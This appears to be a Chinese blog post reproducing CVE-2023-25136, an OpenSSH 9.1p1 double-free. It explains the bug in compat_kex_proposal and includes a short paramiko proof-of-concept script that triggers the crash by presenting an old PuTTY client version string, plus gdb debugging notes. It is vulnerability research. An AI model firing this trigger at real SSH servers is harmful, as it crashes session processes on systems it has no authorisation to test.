0%

CVE-2023-25136 doublefree

CVE-2023-25136 doublefree

0.45元的巨额红包让我获得了复现这个cve的机会。

搭建环境

这个cve出现在openssh9.1p上,所以得安装这个版本的openssh,我是下载源码然后编译安装的,起初这样做的目的是便于后面gdb源码调试,但在安装完之后使用一般启动sshd的命令并没有办法启动成功,比如这种命令。

1
service sshd start

至于为什么不能这样做,大概率是我编译安装的openssh并不是通过apt安装的,导致包管理中没有sshd的信息,要启动自己编译安装的openssh得通过自己编译的sshd启动,比如

1
2
3
4
/home/lot/openssh/openssh-9.1p1/sshd
#也可以这样,不过这个sshd没有符号表
/usr/sbin/sshd
/usr/local/sbin/sshd

这样就算搭建成功了,白神给的文章中说还需要修改sshd_config文件,经过我的测试,发现并不需要,在这篇文章中,作者是采用PuTTY软件和sshd交互的,而且他使用的PuTTY版本很低,所以里面的一些协议或者算法过时了可能,想要连接成功就需要sshd也支持这些过时的协议或者算法,在poc脚本中直接采用paramiko模块和sshd交互,这个模块没有使用这些旧协议或者算法,所以不需要。

漏洞成因

首先是PuTTY和sshd的关系,putty就是个连接工具。一般是windows用,支持ssh协议,当PuTTY连接sshd的时候,会在连接报文中会表明自己是PuTTY,poc脚本的transport.local_version = f"SSH-2.0-{CLIENT_ID}"就是干这件事,然后sshd分析报文,解析出这个字段后就会进入专门的处理函数。

漏洞就出现在处理函数compat_kex_proposal上,下面是这个函数的代码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
compat_kex_proposal(struct ssh *ssh, char *p)
{
char *cp = NULL;


if ((ssh->compat & (SSH_BUG_CURVE25519PAD|SSH_OLD_DHGEX)) == 0)
return xstrdup(p);
debug2_f("original KEX proposal: %s", p);
if ((ssh->compat & SSH_BUG_CURVE25519PAD) != 0)
if ((p = match_filter_denylist(p,
"curve25519-sha256@libssh.org")) == NULL)
fatal("match_filter_denylist failed");
if ((ssh->compat & SSH_OLD_DHGEX) != 0) { [1]
cp = p; [2]
if ((p = match_filter_denylist(p,
"diffie-hellman-group-exchange-sha256,"
"diffie-hellman-group-exchange-sha1")) == NULL)
fatal("match_filter_denylist failed");
free(cp); [3]
}
debug2_f("compat KEX proposal: %s", p);
if (*p == '\0')
fatal("No supported key exchange algorithms found");
return p;
}

openssh是这样调用这个函数的

1
ptrb = compat_kex_proposal(v90, options.kex_algorithms);

他把全局变量options的kex_algorithms传入了这个函数,即p=kex_algorithms然后当选择[1]条件通过时就让cp=p,然后free(cp),相当于free(kex_algorithms),关键就是他free完没有清空kex_algorithms,然后在assemble_algorithms()函数中又调用了这样一条语句

1
v8 = kex_assemble_names(&o->kex_algorithms, def_kex, v3);

他把kex_algorithms的地址又传入kex_assemble_names()函数中,他会执行下面这段代码,其中list就等于kex_algorithms的值,这样就把一个堆块free了两次,导致程序崩溃。

1
2
3
4
5
if ((tmp = kex_names_cat(list + 1, def)) == NULL) {
r = SSH_ERR_ALLOC_FAIL;
goto fail;
}
free(list);

攻击过程

poc如下

1
2
3
4
5
6
7
8
9
10
11
12
import paramiko

VICTIM_IP = "192.168.11.139"
CLIENT_ID = "PuTTY_Release_0.64"

def main():
transport = paramiko.Transport(VICTIM_IP)
transport.local_version = f"SSH-2.0-{CLIENT_ID}"
transport.connect(username='111', password='111')

if __name__ == "__main__":
main()

直接拿poc跑,然后断在kex_assemble_names()函数的free(list)语句,下面是当时的截图,能够比较清晰的看见即将free0x556d983e2a00,但这个堆块同时在smallbins上,肯定就会导致doublefree,进而导致程序崩溃。

image-20230211161643273

image-20230211161652858

直接注意的一点是不能先断在compat_kex_proposal让程序执行到这里再断到free(list),因为这个过程很耗时,导致客户端退出连接,那sshd也不会执行正常逻辑了,即不会执行到free(list)

攻击效果

感觉有点差强人意,sshd是每有一个连接就新开一个进程,这个cve只能导致和自己连接的分支进程崩溃,不会导致sshd崩溃。至于能不能rce,我只能说理论上可以。